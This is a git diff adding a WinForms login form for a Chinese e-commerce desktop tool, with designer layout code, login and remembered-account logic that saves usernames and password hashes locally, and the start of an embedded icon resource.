this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.closePanel); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Margin = new System.Windows.Forms.Padding(0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Size = new System.Drawing.Size(430, 120); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.panelEx1.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.panelEx1.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.login_bg; + this.panelEx1.Style.BackgroundImagePosition = DevComponents.DotNetBar.eBackgroundImagePosition.Center; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.panelEx1.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 9; + this.panelEx1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.panelEx1_MouseDown); + this.panelEx1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.panelEx1_MouseMove); + this.panelEx1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.panelEx1_MouseUp); + // + // closePanel + // + this.closePanel.CanvasColor = System.Drawing.SystemColors.Control; + this.closePanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.closePanel.Cursor = System.Windows.Forms.Cursors.Hand; + this.closePanel.DisabledBackColor = System.Drawing.Color.Empty; + this.closePanel.Location = new System.Drawing.Point(408, 7); + this.closePanel.Name = "closePanel"; + this.closePanel.Size = new System.Drawing.Size(14, 15); + this.closePanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.closePanel.Style.BackColor1.Alpha = ((byte)(0)); + this.closePanel.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.closePanel.Style.BackColor2.Alpha = ((byte)(0)); + this.closePanel.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.closePanel.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.close; + this.closePanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.closePanel.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.closePanel.Style.GradientAngle = 90; + this.closePanel.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.close_hover; + this.closePanel.TabIndex = 1; + this.closePanel.Click += new System.EventHandler(this.closePanel_Click); + // + // panelEx2 + // + this.panelEx2.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx2.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx2.Location = new System.Drawing.Point(42, 152); + this.panelEx2.Name = "panelEx2"; + this.panelEx2.Size = new System.Drawing.Size(80, 80); + this.panelEx2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.panelEx2.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.panelEx2.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.login_user_ico; + this.panelEx2.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx2.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.panelEx2.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.panelEx2.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx2.Style.GradientAngle = 90; + this.panelEx2.TabIndex = 10; + // + // lblSignUp + // + this.lblSignUp.AutoSize = true; + this.lblSignUp.BackColor = System.Drawing.Color.Transparent; + // + // + // + this.lblSignUp.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblSignUp.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblSignUp.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblSignUp.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.lblSignUp.Location = new System.Drawing.Point(334, 157); + this.lblSignUp.Name = "lblSignUp"; + this.lblSignUp.Size = new System.Drawing.Size(56, 20); + this.lblSignUp.TabIndex = 11; + this.lblSignUp.Text = "注册账户"; + this.lblSignUp.Click += new System.EventHandler(this.lblSignUp_Click); + // + // panelEx3 + // + this.panelEx3.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx3.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx3.Controls.Add(this.pnlShowRemember); + this.panelEx3.Controls.Add(this.txtMobile); + this.panelEx3.Controls.Add(this.password); + this.panelEx3.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelEx3.Location = new System.Drawing.Point(133, 152); + this.panelEx3.Name = "panelEx3"; + this.panelEx3.Size = new System.Drawing.Size(194, 59); + this.panelEx3.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx3.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.panelEx3.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.panelEx3.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.login_input_bg; + this.panelEx3.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx3.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.panelEx3.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.panelEx3.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx3.Style.GradientAngle = 90; + this.panelEx3.TabIndex = 12; + // + // pnlShowRemember + // + this.pnlShowRemember.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlShowRemember.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlShowRemember.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlShowRemember.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlShowRemember.Location = new System.Drawing.Point(172, 7); + this.pnlShowRemember.Name = "pnlShowRemember"; + this.pnlShowRemember.Size = new System.Drawing.Size(16, 16); + this.pnlShowRemember.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlShowRemember.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlShowRemember.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlShowRemember.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlShowRemember.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlShowRemember.Style.GradientAngle = 90; + this.pnlShowRemember.TabIndex = 18; + this.pnlShowRemember.Text = "▼"; + this.pnlShowRemember.Click += new System.EventHandler(this.pnlShowRemember_Click); + // + // grpEnvironmentChoice + // + this.grpEnvironmentChoice.Controls.Add(this.rbtPrd); + this.grpEnvironmentChoice.Controls.Add(this.rbtDev); + this.grpEnvironmentChoice.Location = new System.Drawing.Point(133, 274); + this.grpEnvironmentChoice.Name = "grpEnvironmentChoice"; + this.grpEnvironmentChoice.Size = new System.Drawing.Size(194, 37); + this.grpEnvironmentChoice.TabIndex = 25; + this.grpEnvironmentChoice.TabStop = false; + // + // rbtPrd + // + this.rbtPrd.AutoSize = true; + this.rbtPrd.Checked = true; + this.rbtPrd.Font = new System.Drawing.Font("Cambria", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.rbtPrd.ForeColor = System.Drawing.SystemColors.InfoText; + this.rbtPrd.Location = new System.Drawing.Point(119, 11); + this.rbtPrd.Name = "rbtPrd"; + this.rbtPrd.Size = new System.Drawing.Size(47, 18); + this.rbtPrd.TabIndex = 27; + this.rbtPrd.TabStop = true; + this.rbtPrd.Text = "PRD"; + this.rbtPrd.UseVisualStyleBackColor = true; + // + // rbtDev + // + this.rbtDev.AutoSize = true; + this.rbtDev.Font = new System.Drawing.Font("Cambria", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.rbtDev.ForeColor = System.Drawing.SystemColors.InfoText; + this.rbtDev.Location = new System.Drawing.Point(35, 11); + this.rbtDev.Name = "rbtDev"; + this.rbtDev.Size = new System.Drawing.Size(47, 18); + this.rbtDev.TabIndex = 26; + this.rbtDev.Text = "DEV"; + this.rbtDev.UseVisualStyleBackColor = true; + // + // lblBuy + // + this.lblBuy.AutoSize = true; + this.lblBuy.BackColor = System.Drawing.Color.Transparent; + // + // + // + this.lblBuy.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblBuy.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblBuy.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblBuy.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.lblBuy.Location = new System.Drawing.Point(334, 249); + this.lblBuy.Name = "lblBuy"; + this.lblBuy.Size = new System.Drawing.Size(56, 20); + this.lblBuy.TabIndex = 38; + this.lblBuy.Text = "购买开户"; + this.lblBuy.Click += new System.EventHandler(this.lblBuy_Click); + // + // lblContactSupport + // + this.lblContactSupport.AutoSize = true; + this.lblContactSupport.BackColor = System.Drawing.Color.Transparent; + // + // + // + this.lblContactSupport.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblContactSupport.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblContactSupport.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblContactSupport.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.lblContactSupport.Location = new System.Drawing.Point(334, 217); + this.lblContactSupport.Name = "lblContactSupport"; + this.lblContactSupport.Size = new System.Drawing.Size(56, 20); + this.lblContactSupport.TabIndex = 51; + this.lblContactSupport.Text = "联系客服"; + this.lblContactSupport.Visible = false; + this.lblContactSupport.Click += new System.EventHandler(this.lblContactSupport_Click); + // + // LoginForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(247)))), ((int)(((byte)(254))))); + this.ClientSize = new System.Drawing.Size(430, 323); + this.Controls.Add(this.lblContactSupport); + this.Controls.Add(this.lblBuy); + this.Controls.Add(this.grpEnvironmentChoice); + this.Controls.Add(this.panelEx3); + this.Controls.Add(this.lblSignUp); + this.Controls.Add(this.panelEx2); + this.Controls.Add(this.panelEx1); + this.Controls.Add(this.autoLogin); + this.Controls.Add(this.remember); + this.Controls.Add(this.lblResetPassword); + this.Controls.Add(this.loginPanel); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "LoginForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "登录 - 小奶牛"; + this.Load += new System.EventHandler(this.LoginForm_Load); + this.panelEx1.ResumeLayout(false); + this.panelEx3.ResumeLayout(false); + this.grpEnvironmentChoice.ResumeLayout(false); + this.grpEnvironmentChoice.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private DevComponents.DotNetBar.PanelEx loginPanel; + private DevComponents.DotNetBar.Controls.TextBoxX txtMobile; + private DevComponents.DotNetBar.Controls.TextBoxX password; + private DevComponents.DotNetBar.LabelX lblResetPassword; + private DevComponents.DotNetBar.Controls.CheckBoxX remember; + private DevComponents.DotNetBar.Controls.CheckBoxX autoLogin; + private DevComponents.DotNetBar.PanelEx panelEx1; + private DevComponents.DotNetBar.PanelEx panelEx2; + private DevComponents.DotNetBar.LabelX lblSignUp; + private DevComponents.DotNetBar.PanelEx panelEx3; + private DevComponents.DotNetBar.PanelEx closePanel; + private System.Windows.Forms.GroupBox grpEnvironmentChoice; + private System.Windows.Forms.RadioButton rbtPrd; + private System.Windows.Forms.RadioButton rbtDev; + private DevComponents.DotNetBar.PanelEx pnlShowRemember; + private DevComponents.DotNetBar.LabelX lblBuy; + private DevComponents.DotNetBar.LabelX lblContactSupport; + } +} \ No newline at end of file diff --git a/TEMUKJD/UserForm/LoginForm.cs b/TEMUKJD/UserForm/LoginForm.cs new file mode 100644 index 0000000..029acef --- /dev/null +++ b/TEMUKJD/UserForm/LoginForm.cs @@ -0,0 +1,475 @@ +using AllBase; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; + +namespace LittleRabbit.UserForm +{ + public partial class LoginForm : Form + { + + private Point mouseOffset;//记录鼠标指针的坐标 + private bool isMouseDown;//记录鼠标左键是否按下 + public MainForm mf; + public delegate void delegateView(); + private DevComponents.DotNetBar.PanelEx pnlRememberBox = null; + public static List UserParamList { get; set; } = new List(); + + public LoginForm() + { + InitializeComponent(); + } + + public void SetMobile(string m) + { + txtMobile.Text = m; + } + + private void LoginForm_Load(object sender, EventArgs e) + { + GetUserList(); +#if DEBUG + grpEnvironmentChoice.Visible = true; + pnlShowRemember.Visible = true; +#else + grpEnvironmentChoice.Visible = false; + pnlShowRemember.Visible = false; + rbtPrd.Checked = true; +#endif + + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + + Text = "登录 " + BaseClass.ToolName; + if (BaseClass.LoginImage != null) + panelEx1.Style.BackgroundImage = BaseClass.LoginImage; + + lblSignUp.Visible = BaseClass.ToolName == "跨境达-管理工具"; + lblSignUp.Visible = false; + if (FileBase.Exists("locales/ii.pak")) + { + string agentConfig = FileBase.ReadAllText("locales/ii.pak"); + if (agentConfig.Contains("\n")) + { + List lstAgentConfig = agentConfig.Split('\n').ToList(); + //0--显示 1--隐藏 + lblSignUp.Visible = lstAgentConfig[0].Trim().Equals("0"); // 是否显示注册功能 + //BaseClass.NoAnnounce = lstAgentConfig[1].Trim().Equals("1"); // 是否显示产品公告 + //if (lstAgentConfig.Count == 3) + //{ + // BaseClass.ShowGuidance = lstAgentConfig[2].Trim().Equals("0"); //是否显示使用指南 + //} + } + else + { + lblSignUp.Visible = agentConfig.Equals("0"); + } + } + else + { + lblSignUp.Visible = BaseClass.IsShowRegister; + lblBuy.Visible = BaseClass.IsShowOpenAccount; + } + lblSignUp.Visible = false; + lblBuy.Visible = false; + txtMobile.Text = BaseClass.UserName; + if (BaseClass.Remember) + { + remember.Checked = true; + if (!string.IsNullOrEmpty(BaseClass.PassWord)) + password.Text = "******"; + } + LogSave.ClearFile(); + + if (File.Exists("locales/wl.pak")) + { + lblSignUp.Visible = false; + lblBuy.Visible = false; + } + + // 是否显示联系客服按钮 + if (FileBase.Exists("locales/ig.pak") || FileBase.Exists("locales/wl.pak")) + lblContactSupport.Visible = false; + else + lblContactSupport.Visible = true; + } + + private void lblSignUp_Click(object sender, EventArgs e) + { + GetHtml.OpenUrl("http://dd.9u99.com/?obj=public/register"); + //RegeditForm r = new RegeditForm(); + //r.lf = this; + //r.ShowDialog(); + } + + private void lblResetPassword_Click(object sender, EventArgs e) + { + ResetPasswordForm r = new ResetPasswordForm(); + r.ShowDialog(); + } + + private void remember_CheckedChanged(object sender, EventArgs e) + { + BaseClass.Remember = remember.Checked; + } + + private void autoLogin_CheckedChanged(object sender, EventArgs e) + { + BaseClass.AutoLogin = autoLogin.Checked; + if (autoLogin.Checked) + remember.Checked = true; + } + + private void loginPanel_Click(object sender, EventArgs e) + { + //if (rbtDev.Checked) + // BaseClass.LoginApiUrl = "http://192.168.8.191:9090/"; + //else + // BaseClass.LoginApiUrl = "http://new.qixiaoke.com/"; + //"http://localhost:8000/user/user_login" + + UserLogin ul = new UserLogin(); + ul.Mobile = txtMobile.Text; + ul.Password = password.Text; + if (txtMobile.Text.Length != 11) + { + MessageBox.Show("手机号不正确", "提示"); + txtMobile.Focus(); + return; + } + if (password.Text.Length < 6) + { + MessageBox.Show("密码长度不正确", "提示"); + password.Text = ""; + password.Focus(); + return; + } + + string message = ""; + int weakPassword = 0; + int lockUserName = 0; + string messageInfo = ""; + bool ok = ul.Get(ref message, out lockUserName, out weakPassword, out messageInfo); + if (ok && BaseClass.Remember) + { + var eUser = UserParamList.FirstOrDefault(u => u.UserName == BaseClass.UserName); + if (eUser != null) + UserParamList.Remove(eUser); + UserParamList.Add(new UserParam() + { + UserName = BaseClass.UserName, + PasswordMd5 = BaseClass.PassWord + }); + SaveUserList(); + } + if (!ok) + { + if (message.Contains("账户已过期")) + { + if (lblBuy.Visible == false) + BaseMsgForm.ShowError(message + ",请先联系客服商务开户!", "登录失败"); + else + { + BaseMsgForm.ShowError(message + ",请在弹出网页购买开户", "登录失败"); + GetHtml.OpenUrl("http://dd.jindouduo.com/?obj=open"); + } + } + else + BaseMsgForm.ShowError(message, "登录失败"); + return; + } + if (lockUserName == 1) + { + BaseMsgForm.ShowError(messageInfo, "账户锁定提醒", FormLevel.MEDIUM); + return; + } + //if (lockUserName == 0 && weakPassword == 1) + //{ + // BaseMsgForm.ShowError(messageInfo, "登录密码提醒", FormLevel.MEDIUM); + //} + //if (BaseClass.GroupId != 3 && BaseClass.GroupId != 4 && BaseClass.GroupId != 8 && BaseClass.GroupId != 9 && BaseClass.GroupId != 10 && BaseClass.GroupId != 11) + //{ + // BaseMsgForm.ShowError("您当前无权限登录系统", "登录失败"); + // return; + //} + + //this.mf.pnlShop.Visible /*= this.mf.pnlCollect.Visible*/ = this.mf.pnlTools.Visible = this.mf.pnlUpload.Visible = true; + //if (BaseClass.DyProductCollect) + //{ + // this.mf.pnlCollect.Visible = true; + //} + //mf.SetTitle(); + + //if (BaseClass.GroupId == 5 || BaseClass.GroupId == 10 || BaseClass.GroupId == 11) // 上货 + //{ + // mf.ShowTaobaoLoginAndInitModule(); + // Close(); + // return; + //} + //if (BaseClass.GroupId == 4) // 客服 + //{ + // Task.Run(() => + // { + // Thread.Sleep(1000); + // Invoke(new Action(() => + // { + // ChatForms.ChatForm cf = new ChatForms.ChatForm(); + // cf.Show(); + // cf.SetTitle(); + // this.mf.Hide(); + // Hide(); + // })); + // }); + // return; + //} + //if (BaseClass.GroupId == 8) + //{ + // Process p = new Process(); + // p.StartInfo.FileName = "TaobaoLoginer.exe"; + // p.StartInfo.Arguments = BaseClass.UserName + " " + BaseClass.PassWord; + // p.StartInfo.UseShellExecute = true; + // p.StartInfo.Verb = "runas"; + // p.Start(); + // Process.GetCurrentProcess().Kill(); + // return; + //} + //if (BaseClass.GroupId == 9) + //{ + // Process p = new Process(); + // p.StartInfo.FileName = "FindLittleRabbitOrder.exe"; + // p.StartInfo.Arguments = BaseClass.UserName + " " + BaseClass.PassWord; + // p.StartInfo.UseShellExecute = true; + // p.StartInfo.Verb = "runas"; + // p.Start(); + // Process.GetCurrentProcess().Kill(); + // return; + //} + + Hide(); + mf.Hide(); + + ChangeForm c = new ChangeForm(); + c.mf = mf; + c.ShowDialog(); + + Close(); + return; + } + + private void panelEx1_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown) + { + //获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + private void panelEx1_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void panelEx1_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + private void closePanel_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("是否关闭软件?\r\n必须登录账户才能使用,无账户请先注册一个", "请先登录或者注册", FormLevel.LARGE).DialogResult == DialogResult.OK) + Process.GetCurrentProcess().Kill(); + } + + private void password_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar == 13) + loginPanel_Click(null, null); + } + + private void pnlShowRemember_Click(object sender, EventArgs e) + { + if (pnlShowRemember.Text == "▲") + { + if (pnlRememberBox != null) + { + pnlRememberBox.Controls.Clear(); + pnlRememberBox.Visible = false; + } + pnlShowRemember.Text = "▼"; + return; + } + + pnlShowRemember.Text = "▲"; + + ShowUserDropDown(); + } + + private void ShowUserDropDown() + { + if (pnlRememberBox == null) + { + pnlRememberBox = new DevComponents.DotNetBar.PanelEx(); + pnlRememberBox.Location = new Point(panelEx3.Location.X + txtMobile.Location.X, panelEx3.Location.Y + txtMobile.Location.Y + txtMobile.Height + 1); + pnlRememberBox.Height = 120; + pnlRememberBox.Width = pnlShowRemember.Location.X + pnlShowRemember.Width - txtMobile.Location.X; + pnlRememberBox.AutoScroll = true; + pnlRememberBox.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + pnlRememberBox.Style.BorderColor.Color = Color.FromArgb(210, 210, 210); + pnlRememberBox.Padding = new Padding(1); + pnlRememberBox.Style.BackColor1.Color = Color.White; + pnlRememberBox.Style.BackColor2.Color = Color.White; + pnlRememberBox.MouseLeave += PnlRememberBox_MouseLeave; + + this.Controls.Add(pnlRememberBox); + pnlRememberBox.BringToFront(); + } + + pnlRememberBox.Visible = true; + pnlRememberBox.Controls.Clear(); + int top = 0; + foreach (var user in UserParamList) + { + var pnlUser = new DevComponents.DotNetBar.PanelEx(); + pnlUser.Dock = DockStyle.Top; + pnlUser.Location = new Point(0, top); + pnlUser.Tag = user; + pnlUser.Height = 30; + pnlUser.Text = user.UserName; + pnlUser.Style.ForeColor.Color = Color.FromArgb(80, 80, 80); + pnlUser.Style.Font = txtMobile.Font; + pnlUser.Style.BackColor1.Color = Color.Transparent; + pnlUser.Style.BackColor2.Color = Color.Transparent; + pnlUser.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.Bottom; + pnlUser.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + pnlUser.Style.BorderColor.Color = Color.FromArgb(225, 225, 225); + pnlUser.Click += PnlUser_Click; + + pnlRememberBox.Controls.Add(pnlUser); + + var pnlClose = new DevComponents.DotNetBar.PanelEx(); + pnlClose.Location = new Point(146, 7); + pnlClose.Tag = user; + pnlClose.Height = 16; + pnlClose.Width = 16; + pnlClose.Text = "x"; + pnlClose.Style.Font = txtMobile.Font; + pnlClose.Style.Alignment = StringAlignment.Center; + pnlClose.Style.ForeColor.Color = Color.FromArgb(80, 80, 80); + pnlClose.Style.BackColor1.Color = Color.Transparent; + pnlClose.Style.BackColor2.Color = Color.Transparent; + pnlClose.Style.Border = DevComponents.DotNetBar.eBorderType.None; + pnlClose.StyleMouseOver.Alignment = StringAlignment.Center; + pnlClose.StyleMouseOver.ForeColor.Color = Color.FromArgb(255, 255, 255); + pnlClose.StyleMouseOver.BackColor1.Color = Color.FromArgb(127, 127, 127); + pnlClose.StyleMouseOver.BackColor2.Color = Color.FromArgb(127, 127, 127); + pnlClose.Cursor = Cursors.Hand; + pnlClose.Click += PnlClose_Click; + + pnlUser.Controls.Add(pnlClose); + + top += 30; + } + } + + private void PnlClose_Click(object sender, EventArgs e) + { + var pnl = sender as DevComponents.DotNetBar.PanelEx; + if (pnl != null) + { + var user = pnl.Tag as UserParam; + if (user != null) + { + UserParamList.Remove(user); + SaveUserList(); + ShowUserDropDown(); + } + } + } + + private void PnlUser_Click(object sender, EventArgs e) + { + var user = (sender as Panel)?.Tag as UserParam; + if (user != null) + { + BaseClass.UserName = user.UserName; + BaseClass.PassWord = user.PasswordMd5; + this.txtMobile.Text = user.UserName; + this.password.Text = "******"; + } + pnlRememberBox.Controls.Clear(); + pnlRememberBox.Visible = false; + pnlShowRemember.Text = "▼"; + } + + private void PnlRememberBox_MouseLeave(object sender, EventArgs e) + { + } + + public static void GetUserList() + { + if (File.Exists("config\\user_login_config")) + { + try + { + var txt = FileBase.ReadAllText("config\\user_login_config", System.Text.Encoding.UTF8); + UserParamList = JsonHelper.DeserializeJsonToList(txt); + } + catch + { + UserParamList = new List(); + } + } + } + + public static void SaveUserList() + { + if (!Directory.Exists("config")) + { + Directory.CreateDirectory("config"); + } + try + { + var txt = JsonHelper.SerializeObject(UserParamList); + FileBase.WriteAllText("config\\user_login_config", txt, System.Text.Encoding.UTF8); + } + catch + { + } + } + + private void lblBuy_Click(object sender, EventArgs e) + { + GetHtml.OpenUrl("http://dd.jindouduo.com/?obj=open"); + } + + private void lblContactSupport_Click(object sender, EventArgs e) + { + SupportQrCodeForm qrForm = new SupportQrCodeForm(); + qrForm.ShowDialog(); + } + } + + public class UserParam + { + public string UserName { get; set; } + public string PasswordMd5 { get; set; } + } +} diff --git a/TEMUKJD/UserForm/LoginForm.resx b/TEMUKJD/UserForm/LoginForm.resx new file mode 100644 index 0000000..9aae545 --- /dev/null +++ b/TEMUKJD/UserForm/LoginForm.resx @@ -0,0 +1,2116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAwAAAAQAAEABAD/JAAAxgAAAAAAAAABAAgAeFIAAMUlAAAAAAAAAQAgAGb4AAA9eAAAEBAQAAEA + BAAoAQAAo3ABACAgEAABAAQA6AIAAMtxAQAwMBAAAQAEAGgGAACzdAEAEBAAAAEACABoBQAAG3sBACAg + AAABAAgAqAgAAIOAAQAwMAAAAQAIAKgOAAAriQEAEBAAAAEAIABoBAAA05cBACAgAAABACAAqBAAADuc + AQAwMAAAAQAgAKglAADjrAEAiVBORw0KGgoAAAANSUhEUgAAAQAAAAEABAMAAACuXLVVAAAAMFBMVEUA + AAAdExA8MCHQqiTz6NvFt336+ff01yVdUTvx1a3U0s92Xlb32Sb///////////9Bd5riAAAADXRSTlMA + 9Of8+df2/uXn7tb8248adAAAIABJREFUeJztfU9oG1nWrxIw5EMYpuptDLOJKgwUaDUugsVLltUCa+Ev + dFLf2CprJ2rhhWYhBn3wtGiXCHPpertnL5zZPSQTX9HBYz9Bte7L2zTGGzUE3ufNdMRshBa9UO8fNHnn + nFslVZVKltxxr76+3Z2OHaXur37n3PPvnnudyfw2fhu/jd/GKuMD/vJYZFf46NqLX2H+bOZce/zgPDNc + 4bPna5mslTm/XwDrHy60nCLOP3xYAcAL+9zKiPsFMBxqmqLo4mY5vY+yIi/EefZ+KQAAOTWnesufuv7h + q4eapj2+ZxG8/0FT1ZyWX66E6x9wfk07X79XAPmLXE5Vcupyyd5UHmoKAHi/irrcCYCi5hTlfJkOrFcE + CEvTQF0+3ONyzD5QtVYB1DBgoHJjwdi/mv2DX8N3KzcAQNH0VsF7X7m/+TNrh+oTw2DAwBp9KQEMIgO/ + Hg6timX9cKhoT1qb7P3w/vRw7YWrGQRg7QXyalkf0wEgsBeHypMCfNgb3p8SrNlaAACeD19acsyLoPIR + ECiKgR9mw1XM5mojezEDgNMOBteNtNEcDK5+HQBC0+ohAGI8HUAjANAiEVTuTwRZobtxAOnzIwXWFZhs + Y6vOPHF/SiiEzxqG4QYiGDQXEIAUfGcggEbj1wCADODUC6dHChAAQwDiXgFctoyGsako/3vx3JKB6/p/ + U5QnUgT3Nj8ygACegXo1buGfRFAHmC0AALbw/hAIwVAESO7zhQoYiOCa0TKEj9+jEhCARp3UKwEgwcdg + sAWqCgQQgLX7AuD5jG01GkZO0VrP4zYgjgcIAJelgg4arULhmfXinhwiY2Ba4KHg555sxa1QHAB8xeBD + BIAVPMu6n/kfCQZCBQqYompGczbnQIpgECHAYIeq1kARtFoGeY57GC8IQL0uASAFoQ+8buI/EafYMFhO + AwCohAXj5f7V9/dgj3u9vN8qwEs1XFQwIzLhtXzvyNd1kEAeJAA6wJ4B1srN5yN4Zmk6Qw4ahk5GZtCY + vn8MAMpiM6eyFgEABmDNQoiySjZ121izXhoYYSAA0jCjCQavORXAVATXYKPrrqIz4xqNBugtfPOq8v2L + zzIHlY+DqzqoNDxxq1EvYMD5xGg0AUyBscMN+EfVXQgBr1FJjU09p7DW8wYBaBmE6+bmcyiA6A+sK2uR + 